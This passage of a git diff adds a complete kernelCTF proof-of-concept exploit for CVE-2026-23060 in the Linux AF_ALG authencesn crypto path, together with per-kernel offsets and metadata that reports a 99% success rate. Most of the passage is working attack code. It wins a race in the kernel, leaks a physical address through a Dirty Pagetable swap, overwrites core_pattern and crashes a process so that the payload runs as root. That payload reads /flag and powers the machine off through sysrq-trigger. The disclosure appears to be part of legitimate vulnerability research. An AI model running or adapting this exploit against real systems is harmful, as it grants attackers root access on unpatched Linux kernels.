af_alg_iv) + AEAD_IV_SIZE)) + +struct crypto_authenc_key_param { + uint32_t enckeylen; +}; + +typedef struct exploit_ctx { + uint8_t *race_page; // Shared page used by the race primitive. + char *spray_pages[SPRAY_PAGE_COUNT]; // Fixed-address pages used for Dirty pagetable. + size_t stext_phys_base; // Physical base of _stext (leaked). + int sync_fds[2]; // IPC channel between parent/child for the leak. + int flood_stop; // Stop flag for hash flood threads. + uint64_t core_pattern_offset; // Offset within the core_pattern page. + uint64_t core_pattern_base; // Page-aligned core_pattern base. + uint64_t brk_base; // brk_base symbol offset (used to derive _stext phys). +} exploit_ctx; + +typedef struct race_ctx { + exploit_ctx *ctx; + int cpu; +} race_ctx; + +typedef struct flood_ctx { + int opfd; + uint8_t *buf; + size_t len; + int cpu; + int *stop; +} flood_ctx; + +typedef struct flood_state { + flood_ctx ctx[FLOOD_THREADS]; + pthread_t tid[FLOOD_THREADS]; +} flood_state; + +typedef struct aead_request_msg { + uint8_t tag[AUTH_TAG_SIZE]; // Auth tag output buffer. + struct iovec iov; // Single-iov auth tag buffer. + struct msghdr msg; // sendmsg/recvmsg header. + char cbuf[AUTHENCESN_CMSG_BUF_SIZE]; // Control messages (op, assoc len, IV). +} aead_request_msg; + +INCBIN(target_db, "target_db.kxdb"); + +// Simple errno-checked syscall helper for consistent error reporting. +#define SYSCHK(x) ({ \ + __typeof__(x) __res = (x); \ + if (__res == (__typeof__(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ +}) + +// Atomics for a single stop flag used by multiple threads. +#define ATOMIC_LOAD(ptr) __atomic_load_n((ptr), __ATOMIC_RELAXED) +#define ATOMIC_STORE(ptr, val) __atomic_store_n((ptr), (val), __ATOMIC_RELAXED) + +static void setup_cpu_affinity(int cpu) +{ + cpu_set_t mask; + CPU_ZERO(&mask); + CPU_SET(cpu, &mask); + SYSCHK(sched_setaffinity(0, sizeof(mask), &mask)); +} + +static void die(const char *msg) +{ + perror(msg); + exit(1); +} + +struct target_offsets { + const char *distro; + const char *release; + uint64_t core_pattern_off; + uint64_t brk_base_off; +}; + +// Offsets are relative to the _stext base (0xffffffff81000000). +#define STEXT_BASE 0xffffffff81000000ull +// Fallback offsets if the kxdb does not contain these symbols yet. +static const target_offsets kKnownTargets[] = { + {"kernelctf", "lts-6.12.62", + 0xffffffff84610900ull - STEXT_BASE, + 0xffffffff85a00000ull - STEXT_BASE}, + {"kernelctf", "mitigation-v4-6.12", + 0xffffffff8421b460ull - STEXT_BASE, + 0xffffffff85400000ull - STEXT_BASE}, + {"kernelctf", "cos-121-18867.294.66", + 0xffffffff83fb3440ull - STEXT_BASE, + 0xffffffff85200000ull - STEXT_BASE}, +}; + +static bool resolve_target_offsets(Target *target, uint64_t *core_pattern_off, + uint64_t *brk_base_off) +{ + try { + *core_pattern_off = target->GetSymbolOffset("core_pattern"); + *brk_base_off = target->GetSymbolOffset("brk_base"); + return true; + } catch (const ExpKitError &) { + } + + const char *distro = target->GetDistro().c_str(); + const char *release = target->GetReleaseName().c_str(); + for (const auto &entry : kKnownTargets) { + if (strcmp(distro, entry.distro) == 0 && + strcmp(release, entry.release) == 0) { + target->AddSymbol("core_pattern", entry.core_pattern_off); + target->AddSymbol("brk_base", entry.brk_base_off); + *core_pattern_off = entry.core_pattern_off; + *brk_base_off = entry.brk_base_off; + return true; + } + } + return false; +} + +static bool setup_target_offsets(exploit_ctx *ctx) +{ + try { + // Use kxdb auto-detection so we do not hardcode target version checks. + TargetDb kxdb("target_db.kxdb", target_db); + Target target = kxdb.AutoDetectTarget(); + printf("[+] target: %s %s\n", target.GetDistro().c_str(), + target.GetReleaseName().c_str()); + + uint64_t core_pattern_off = 0; + uint64_t brk_base_off = 0; + if (!resolve_target_offsets(&target, &core_pattern_off, &brk_base_off)) { + fprintf(stderr, "[-] missing core_pattern/brk_base offsets\n"); + return false; + } + + ctx->core_pattern_offset = core_pattern_off & 0xfffull; + ctx->core_pattern_base = core_pattern_off & ~0xfffull; + ctx->brk_base = brk_base_off; + return true; + } catch (const ExpKitError &e) { + fprintf(stderr, "[-] target detection failed: %s\n", e.what()); + return false; + } +} + +static int setup_authenc_aead_opfd(const char *salg_name) +{ + int tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (tfmfd == -1) { + perror("socket(AF_ALG)"); + return -1; + } + + struct sockaddr_alg alg_addr; + memset(&alg_addr, 0, sizeof(alg_addr)); + alg_addr.salg_family = AF_ALG; + snprintf((char *)alg_addr.salg_type, + sizeof(alg_addr.salg_type), "%s", "aead"); + snprintf((char *)alg_addr.salg_name, + sizeof(alg_addr.salg_name), "%s", salg_name); + + if (bind(tfmfd, (struct sockaddr *)&alg_addr, + sizeof(alg_addr)) == -1) { + perror("bind(AF_ALG)"); + close(tfmfd); + return -1; + } + + // Key structure layout: rtattr header + auth key + enc key. + struct { + struct rtattr attr; + struct crypto_authenc_key_param param; + unsigned char authkey[AUTHENC_FAKE_AUTH_KEY_LEN]; + unsigned char enckey[AUTHENC_FAKE_ENC_KEY_LEN]; + } __attribute__((packed)) key; + memset(&key, 0, sizeof(key)); + key.attr.rta_len = RTA_LENGTH(sizeof(struct crypto_authenc_key_param)); + key.attr.rta_type = CRYPTO_AUTHENC_KEYA_PARAM; + key.param.enckeylen = htonl(AUTHENC_FAKE_ENC_KEY_LEN); + + if (setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, &key, sizeof(key)) == -1) { + perror("setsockopt(ALG_SET_KEY)"); + close(tfmfd); + return -1; + } + + int opfd = accept(tfmfd, NULL, NULL); + if (opfd == -1) { + perror("accept(AF_ALG)"); + close(tfmfd); + return -1; + } + + close(tfmfd); + return opfd; +} + +static int vuln_setup_fake_aead_opfd() +{ + uint8_t iv[AEAD_IV_SIZE]; + uint8_t fake_aead_buf[FAKE_AEAD_PIPE_BUF_SIZE]; + struct iovec iov; + struct msghdr aead_msg; + struct cmsghdr *control = NULL; + char cbuf[FAKE_AEAD_CMSG_BUF_SIZE]; + memset(iv, 0, sizeof(iv)); + memset(fake_aead_buf, 0, sizeof(fake_aead_buf)); + memset(&iov, 0, sizeof(iov)); + memset(&aead_msg, 0, sizeof(aead_msg)); + memset(cbuf, 0, sizeof(cbuf)); + int pipes[FAKE_AEAD_PIPE_COUNT][2]; + + // Setup a standard authenc AEAD and craft a short header to steer the + // kernel into the target path for the fake object and RX SGL layout. + // authencesn later runs with outlen=0 (RX SGL not built), so it reuses + // this stale RX SGL from the freed areq. This function pre-shapes that + // RX SGL (via pipe+splice) to control where dst[0..7] lands. + int opfd = setup_authenc_aead_opfd("authenc(hmac(sha256),cbc(aes))"); + if (opfd < 0) { + return -1; + } + + for (size_t i = 0; i < FAKE_AEAD_PIPE_COUNT; i++) { + SYSCHK(pipe(pipes[i])); + write(pipes[i][1], fake_aead_buf, sizeof(fake_aead_buf)); + } + + // Pipes provide non-contiguous backing pages, which helps us create an + // RX SGL spanning multiple pages (needed for the inter-page swap). + // These pipe-backed pages later get PTEs when we mmap-spray fixed pages. + aead_msg.msg_control = cbuf; + aead_msg.msg_controllen = sizeof(cbuf); + + control = CMSG_FIRSTHDR(&aead_msg); + control->cmsg_level = SOL_ALG; + control->cmsg_type = ALG_SET_OP; + control->cmsg_len = CMSG_LEN(sizeof(uint32_t)); + *(uint32_t *)CMSG_DATA(control) = ALG_OP_DECRYPT; + + control = CMSG_NXTHDR(&aead_msg, control); + control->cmsg_level = SOL_ALG; + control->cmsg_type = ALG_SET_IV; + control->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + sizeof(iv)); + struct af_alg_iv *aiv = + (struct af_alg_iv *)CMSG_DATA(control); + aiv->ivlen = sizeof(iv); + memcpy(aiv->iv, iv, sizeof(iv)); + + // Short header; follow up with splice() to craft the backing scatterlist. + // These sizes are chosen to shape the later RX SGL layout (offset-1 pipe + // segment for the PTE byte skip). + iov.iov_base = fake_aead_buf; + iov.iov_len = FAKE_AEAD_HEAD_LEN; + aead_msg.msg_iov = &iov; + aead_msg.msg_iovlen = 1; + + // Start the request with a small header, then extend with splice. + SYSCHK(sendmsg(opfd, &aead_msg, MSG_MORE)); + for (size_t i = 0; i < FAKE_AEAD_PIPE_COUNT; i++) { + int more = (i + 1 == FAKE_AEAD_PIPE_COUNT) ? 0 : SPLICE_F_MORE; + SYSCHK(splice(pipes[i][0], 0, opfd, 0, FAKE_AEAD_SPLICE_LEN, more)); + } + + for (size_t i = 0; i < FAKE_AEAD_PIPE_COUNT; i++) { + close(pipes[i][0]); + close(pipes[i][1]); + } + return opfd; +} + +static void vuln_finalize_fake_aead(exploit_ctx *ctx, int opfd) +{ + struct iovec iov[2]; + struct msghdr aead_msg; + memset(iov, 0, sizeof(iov)); + memset(&aead_msg, 0, sizeof(aead_msg)); + + iov[0].iov_base = ctx->race_page; + iov[0].iov_len = RACE_WORD_SIZE; + + aead_msg.msg_iov = iov; + aead_msg.msg_iovlen = 2; + + // This recvmsg is expected to fail: msg_iovlen=2 but iov[1] is NULL. + // The kernel still allocates and populates the RX SGL pointing at our user + // page, then frees struct af_alg_async_req, leaving the SGL data in heap + recvmsg(opfd, &aead_msg, 0); +} + +static size_t util_build_authenc_key(uint8_t *buf, size_t buflen, + const uint8_t *authkey, size_t authkeylen, + const uint8_t *enckey, size_t enckeylen) +{ + // Format key buffer for ALG_SET_KEY: rtattr + authkey + enckey. + size_t rta_len = RTA_LENGTH(sizeof(struct crypto_authenc_key_param)); + if (buflen < rta_len + authkeylen + enckeylen) { + return 0; + } + + struct rtattr *rta = (struct rtattr *)buf; + rta->rta_type = CRYPTO_AUTHENC_KEYA_PARAM; + rta->rta_len = rta_len; + + struct crypto_authenc_key_param *param = + (struct crypto_authenc_key_param *)RTA_DATA(rta); + param->enckeylen = htonl((uint32_t)enckeylen); + + memcpy(buf + rta_len, authkey, authkeylen); + memcpy(buf + rta_len + authkeylen, enckey, enckeylen); + return rta_len + authkeylen + enckeylen; +} + +static void *race_capture_thread(void *arg) +{ + race_ctx *rctx = (race_ctx *)arg; + exploit_ctx *ctx = rctx->ctx; + + // Pin the capture thread to the sibling core to increase race hit rate. + setup_cpu_affinity(rctx->cpu ^ 1); + + for (;;) { + // The kernel writes 4-byte phys address from PTE into race_page when + // the authencesn path touches our crafted dst scatterlist. + volatile uint32_t *pbuf_u32 = + (volatile uint32_t *)ctx->race_page; + uint32_t marker = *pbuf_u32; + + if ((marker >> RACE_MARKER_SHIFT) == RACE_MARKER_VALUE) { + // Race won: the header marker indicates the kernel wrote into our page. + printf("race marker: race_page[0]=0x%08x\n", marker); + // The authencesn swap touches dst[0:8]. With a two-segment RX SGL, + // that swap crosses the user page and a sprayed PTE page. + for (size_t i = 0; i < SPRAY_PAGE_COUNT; i++) { + if (ctx->stext_phys_base == 0) { + if (ctx->spray_pages[i][0] != SPRAY_SENTINEL_BYTE) { + // A sprayed page lost its sentinel, indicating it was + // involved in the 4-byte swap with the user page. + // Use the corrupted page to leak a PTE, then derive _stext phys. + size_t leaked_pte = + *(size_t *)ctx->spray_pages[i]; + size_t leaked_phys = leaked_pte & ~0xffffull; + // Derive _stext physical base using brk_base offset. + size_t stext_phys = leaked_phys - ctx->brk_base; + // Send the leak to the child process for stage 2. + write(ctx->sync_fds[1], &stext_phys, + sizeof(stext_phys)); + break; + } + } else { + // After we know _stext phys, overwrite core_pattern with our payload. + // The same swap primitive now targets core_pattern's page. + memcpy(ctx->spray_pages[i] + ctx->core_pattern_offset, + CORE_PATTERN_PAYLOAD, CORE_PATTERN_PAYLOAD_LEN); + } + } + break; + } + } + return NULL; +} + +static int setup_cryptd_hash_opfd() +{ + // cryptd(hmac) wraps a synchronous hash into async workqueues and queues + // requests per-CPU, which we exploit by flooding. + int tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (tfmfd < 0) { + die("cryptd socket"); + } + + struct sockaddr_alg alg_addr; + memset(&alg_addr, 0, sizeof(alg_addr)); + alg_addr.salg_family = AF_ALG; + snprintf((char *)alg_addr.salg_type, + sizeof(alg_addr.salg_type), "%s", "hash"); + snprintf((char *)alg_addr.salg_name, + sizeof(alg_addr.salg_name), "%s", "cryptd(hmac(sha256-generic))"); + + if (bind(tfmfd, (struct sockaddr *)&alg_addr, + sizeof(alg_addr)) < 0) { + die("cryptd bind"); + } + + uint8_t key[32]; + memset(key, 0x11, sizeof(key)); + if (setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0) { + die("cryptd setkey"); + } + + int opfd = accept(tfmfd, NULL, 0); + if (opfd < 0) { + die("cryptd accept"); + } + close(tfmfd); + return opfd; +} + +static void *spray_hash_thread(void *arg) +{ + flood_ctx *ctx = (flood_ctx *)arg; + setup_cpu_affinity(ctx->cpu); + + struct iovec iov; + struct msghdr msg; + memset(&iov, 0, sizeof(iov)); + memset(&msg, 0, sizeof(msg)); + iov.iov_base = ctx->buf; + iov.iov_len = ctx->len; + msg.msg_iov = &iov; + msg.msg_iovlen = 1; + + for (;;) { + if (ATOMIC_LOAD(ctx->stop)) { + break; + } + + // Hash flood keeps the kernel busy to widen the race window. + // cryptd queues async work; flooding delays authencesn's hash callback. + ssize_t n = sendmsg(ctx->opfd, &msg, 0); + if (n < 0 && errno == EINTR) { + continue; + } + } + return NULL; +} + +static void spray_start_hash_flood(flood_state *state, int *stop, + int cpu) +{ + // Spawn multiple hash instances to apply CPU and allocator pressure. + for (size_t i = 0; i < FLOOD_THREADS; i++) { + state->ctx[i].opfd = setup_cryptd_hash_opfd(); + state->ctx[i].len = FLOOD_BUF_SIZE; + state->ctx[i].cpu = cpu; + state->ctx[i].stop = stop; + + if (posix_memalign((void **)&state->ctx[i].buf, + 64, state->ctx[i].len) != 0) { + die("posix_memalign"); + } + memset(state->ctx[i].buf, (int)i, state->ctx[i].len); + + pthread_create(&state->tid[i], NULL, spray_hash_thread, &state->ctx[i]); + } +} + +static void spray_stop_hash_flood(flood_state *state) +{ + for (size_t i = 0; i < FLOOD_THREADS; i++) { + pthread_join(state->tid[i], NULL); + close(state->ctx[i].opfd); + free(state->ctx[i].buf); + } +} + +static void setup_cryptd_hash_tfm() +{ + // Trigger the cryptd template so later hash sockets are fast. + // We later flood cryptd queues to extend the swap window. + int fd = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (fd < 0) { + die("cryptd socket (setup)"); + } + + struct sockaddr_alg alg_addr; + memset(&alg_addr, 0, sizeof(alg_addr)); + alg_addr.salg_family = AF_ALG; + snprintf((char *)alg_addr.salg_type, + sizeof(alg_addr.salg_type), "%s", "hash"); + snprintf((char *)alg_addr.salg_name, + sizeof(alg_addr.salg_name), "%s", "cryptd(hmac(sha256-generic))"); + + if (bind(fd, (struct sockaddr *)&alg_addr, + sizeof(alg_addr)) < 0) { + die("cryptd bind (setup)"); + } + close(fd); +} + +static bool postrip_check_core_pattern() +{ + // Verify the overwrite by reading the current core_pattern string. + char core_pattern_buf[0x100]; + memset(core_pattern_buf, 0, sizeof(core_pattern_buf)); + int core_fd = open("/proc/sys/kernel/core_pattern", O_RDONLY); + if (core_fd < 0) { + perror("open core_pattern"); + return false; + } + + ssize_t n = read(core_fd, core_pattern_buf, sizeof(core_pattern_buf)); + close(core_fd); + if (n < 0) { + perror("read core_pattern"); + return false; + } + + return strncmp(core_pattern_buf, CORE_PATTERN_PAYLOAD, + CORE_PATTERN_PAYLOAD_LEN) == 0; +} + +static int vuln_setup_authencesn_opfd() +{ + // authencesn is the vulnerable AEAD variant used for the race. + const char *alg_name = "authencesn(hmac(sha256),cbc(aes))"; + + int tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (tfmfd < 0) { + die("authencesn socket"); + } + + struct sockaddr_alg alg_addr; + memset(&alg_addr, 0, sizeof(alg_addr)); + alg_addr.salg_family = AF_ALG; + snprintf((char *)alg_addr.salg_type, + sizeof(alg_addr.salg_type), "%s", "aead"); + snprintf((char *)alg_addr.salg_name, + sizeof(alg_addr.salg_name), "%s", alg_name); + + if (bind(tfmfd, (struct sockaddr *)&alg_addr, + sizeof(alg_addr)) < 0) { + die("authencesn bind"); + } + + uint8_t authkey[AUTHENC_AUTH_KEY_LEN]; + uint8_t enckey[AUTHENC_ENC_KEY_LEN]; + memset(authkey, 0x11, sizeof(authkey)); + memset(enckey, 0x22, sizeof(enckey)); + + uint8_t keybuf[AUTHENC_KEY_BUF_SIZE]; + size_t keylen = util_build_authenc_key(keybuf, sizeof(keybuf), + authkey, sizeof(authkey), + enckey, sizeof(enckey)); + if (keylen == 0) { + errx(1, "authencesn key buffer too small"); + } + + if (setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, keybuf, keylen) < 0) { + die("authencesn setkey"); + } + + // authsize determines tag length used for tag-only decrypt. + if (setsockopt(tfmfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, + AUTH_TAG_SIZE) < 0) { + die("authencesn setauthsize"); + } + + int opfd = accept(tfmfd, NULL, 0); + if (opfd < 0) { + die("authencesn accept"); + } + close(tfmfd); + return opfd; +} + +static void vuln_init_authencesn_msg(aead_request_msg *req) +{ + // Build control messages for decrypt op with IV and zero assoc data. + // assoclen=0 and tag-only input make outlen=0, so RX SGL is not built. + // authencesn still performs the 4-byte swap before the hash check. + memset(req, 0, sizeof(*req)); + + // Tag-only decrypt: provide only the auth tag as input. + req->iov.iov_base = req->tag; + req->iov.iov_len = sizeof(req->tag); + + req->msg.msg_iov = &req->iov; + req->msg.msg_iovlen = 1; + req->msg.msg_control = req->cbuf; + req->msg.msg_controllen = sizeof(req->cbuf); + + struct cmsghdr *control = CMSG_FIRSTHDR(&req->msg); + control->cmsg_level = SOL_ALG; + control->cmsg_type = ALG_SET_OP; + control->cmsg_len = CMSG_LEN(sizeof(uint32_t)); + *(uint32_t *)CMSG_DATA(control) = ALG_OP_DECRYPT; + + control = CMSG_NXTHDR(&req->msg, control); + control->cmsg_level = SOL_ALG; + control->cmsg_type = ALG_SET_AEAD_ASSOCLEN; + control->cmsg_len = CMSG_LEN(sizeof(uint32_t)); + // assoclen=0 ensures outlen==used-authsize==0 for tag-only decrypt. + *(uint32_t *)CMSG_DATA(control) = 0; + + control = CMSG_NXTHDR(&req->msg, control); + control->cmsg_level = SOL_ALG; + control->cmsg_type = ALG_SET_IV; + control->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + AEAD_IV_SIZE); + struct af_alg_iv *iv = + (struct af_alg_iv *)CMSG_DATA(control); + iv->ivlen = AEAD_IV_SIZE; + memset(iv->iv, 0, AEAD_IV_SIZE); +} + +int main(int argc, char **argv) +{ + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stdout, NULL, _IONBF, 0); + + if (argc > 1) { + // Executed by core_pattern with root privileges. + int pid = strtoull(argv[1], NULL, 10); + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd, 0); + dup2(stdoutfd, 1); + dup2(stderrfd, 2); + + system("cat /flag"); + system("cat /flag"); + system("cat /flag;echo o>/proc/sysrq-trigger"); + exit(0); + } + + exploit_ctx ctx; + memset(&ctx, 0, sizeof(ctx)); + ATOMIC_STORE(&ctx.flood_stop, 0); + + if (!setup_target_offsets(&ctx)) { + return 1; + } + + // step(0): Setup coordination and CPU affinity + int main_cpu = 0; + SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, ctx.sync_fds)); + setup_cpu_affinity(main_cpu); + + // Two-process pipeline: parent leaks _stext phys, child waits for it. + pid_t leak_child = fork(); + if (leak_child == -1) { + die("fork"); + } + if (leak_child == 0) { + main_cpu = 1; + setup_cpu_affinity(main_cpu); + // Child waits for _stext phys leak before continuing. + read(ctx.sync_fds[0], &ctx.stext_phys_base, sizeof(ctx.stext_phys_base)); + } + + // Warm up cryptd so flooding later extends the authencesn hash window. + setup_cryptd_hash_tfm(); + + // step(1): Prepare fake authenc object + int fake_aead_opfd = vuln_setup_fake_aead_opfd(); + if (fake_aead_opfd < 0) { + die("vuln_setup_fake_aead_opfd"); + } + + // race_page serves as the user-mapped page for the 4-byte swap primitive. + ctx.race_page = (uint8_t *)mmap(NULL, PAGE_SIZE_BYTES, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANON, -1, 0); + ctx.race_page[0] = RACE_PAGE_INIT_BYTE; + + // step(2): Setup authencesn context + int authencesn_opfd = vuln_setup_authencesn_opfd(); + aead_request_msg authencesn_msg; + vuln_init_authencesn_msg(&authencesn_msg); + + // step(3): Start race helpers + pthread_t race_tid; + race_ctx rctx; + memset(&rctx, 0, sizeof(rctx)); + rctx.ctx = &ctx; + rctx.cpu = main_cpu; + puts("capture race thread started"); + pthread_create(&race_tid, NULL, race_capture_thread, &rctx); + + flood_state flood; + memset(&flood, 0, sizeof(flood)); + // Flood cryptd queues so authencesn's async hash is delayed. + spray_start_hash_flood(&flood, &ctx.flood_stop, main_cpu); + + // step(4): Queue authencesn request + // authencesn uses dst and performs the 4-byte swap, giving a swap primitive + // across our crafted scatterlist segments (PTE page + user page). + SYSCHK(sendmsg(authencesn_opfd, &authencesn_msg.msg, 0)); + puts("go"); + + // step(5): Map fixed pages for Dirty pagetable attack + // Fixed mappings make it easier to locate the sprayed PTE page after swap. + char *spray_base = (char *)SPRAY_REGION_BASE; + for (size_t i = 0; i < SPRAY_PAGE_COUNT; i++) { + ctx.spray_pages[i] = (char *)mmap(spray_base + SPRAY_REGION_STEP * i, + PAGE_SIZE_BYTES, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANON | MAP_FIXED, + -1, 0); + } + + // step(6): Finalize fake authenc object + vuln_finalize_fake_aead(&ctx, fake_aead_opfd); + + uint8_t recv_out[0x100]; + memset(recv_out, 0, sizeof(recv_out)); + struct iovec recv_iov; + struct msghdr recv_msg; + memset(&recv_iov, 0, sizeof(recv_iov)); + memset(&recv_msg, 0, sizeof(recv_msg)); + recv_iov.iov_base = recv_out; + recv_iov.iov_len = sizeof(recv_out); + recv_msg.msg_iov = &recv_iov; + recv_msg.msg_iovlen = 1; + + // Fill the first byte to allocate PTE and so we can detect which page was swapped. + for (size_t i = 0; i < SPRAY_PAGE_COUNT; i++) { + ctx.spray_pages[i][0] = SPRAY_SENTINEL_BYTE; + } + + // step(7): Stage-specific race page PTE setup (parent placeholder vs child target) + if (ctx.stext_phys_base != 0) { + // Convert the leaked _stext phys into a core_pattern PTE candidate. + // Only 4 bytes are swapped, so we encode upper PFN bytes and keep + // the lower flags intact to preserve a valid PTE. + size_t pte_addr = ctx.stext_phys_base + ctx.core_pattern_base; + pte_addr >>= PTE_ADDR_SHIFT; + pte_addr |= PTE_ADDR_MARKER; + printf("target: %zx\n", (pte_addr << PTE_ADDR_SHIFT) | PTE_USER_RW_FLAGS); + *(uint32_t *)ctx.race_page = (uint32_t)pte_addr; + } else { + // Parent stage: no leak yet, keep a brk_base placeholder PTE value. + // Child stage will overwrite this with the computed core_pattern PTE. + *(uint32_t *)ctx.race_page = DEFAULT_PTE_PLACEHOLDER; + } + + // step(8): Trigger authencesn race (recvmsg) + puts("trigger now"); + // recvmsg completes the decrypt path; swap happens before hash completion. + ssize_t recv_ret = recvmsg(authencesn_opfd, &recv_msg, 0); + fprintf(stderr, "recvmsg ret=%zd errno=%d\n", recv_ret, errno); + + ATOMIC_STORE(&ctx.flood_stop, 1); + spray_stop_hash_flood(&flood); + pthread_join(race_tid, NULL); + puts("race thread end"); + + if (ctx.stext_phys_base != 0) { + if (fork() == 0) { + if (!postrip_check_core_pattern()) { + puts("retry.."); + execve("/proc/self/exe", argv, environ); + // @sleep(desc="sleep to avoid kernel panic while exiting the binary") + sleep(10000); + } + setsid(); + puts("root shell !!"); + // Trigger a crash to execute our core_pattern payload. + *(volatile size_t *)0 = 0; + } + } + else { + // @sleep(desc="sleep to avoid kernel panic while exiting the binary") + sleep(10000); + } + + close(authencesn_opfd); + close(fake_aead_opfd); + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/mitigation-v4-6.12/Makefile b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/mitigation-v4-6.12/Makefile new file mode 120000 index 000000000..de1a447a4 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/mitigation-v4-6.12/Makefile @@ -0,0 +1 @@ +../lts-6.12.62/Makefile \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/mitigation-v4-6.12/exploit b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/mitigation-v4-6.12/exploit new file mode 120000 index 000000000..3641f294c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/mitigation-v4-6.12/exploit @@ -0,0 +1 @@ +../lts-6.12.62/exploit \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/mitigation-v4-6.12/exploit.cpp b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/mitigation-v4-6.12/exploit.cpp new file mode 120000 index 000000000..11f471f9a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/mitigation-v4-6.12/exploit.cpp @@ -0,0 +1 @@ +../lts-6.12.62/exploit.cpp \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/metadata.json b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/metadata.json new file mode 100644 index 000000000..25494c1e3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/metadata.json @@ -0,0 +1,34 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ "exp441","exp442", "exp443"], + "vulnerability": { + "cve": "CVE-2026-23060", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2397e9264676be7794f8f7f1e9763d90bd3c7335", + "affected_versions": ["4.3 - 6.18"], + "requirements": { + "attack_surface": [], + "capabilities": [], + "kernel_config": ["CONFIG_CRYPTO","CONFIG_CRYPTO_USER_API","CONFIG_CRYPTO_AUTHENC"] + } + }, + "exploits": { + "lts-6.12.62": { + "environment": "lts-6.12.62", + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "99% success rate" + }, + "mitigation-v4-6.12": { + "environment": "mitigation-v4-6.12", + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "99% success rate" + }, + "cos-121-18867.294.66": { + "environment": "cos-121-18867.294.66", + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "99% success rate" + } + } +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/original_exp441.tar.gz b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/original_exp441.tar.gz new file mode 100644 index 000000000..55a95ddf4 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/original_exp441.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/original_exp442.tar.gz b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/original_exp442.tar.gz new file mode 100644 index 000000000..ef3369b3e Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/original_exp442.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/original_exp443.tar.gz b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/original_exp443.tar.gz new file mode 100644 index 000000000..5caad2d43 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/original_exp443.tar.gz differ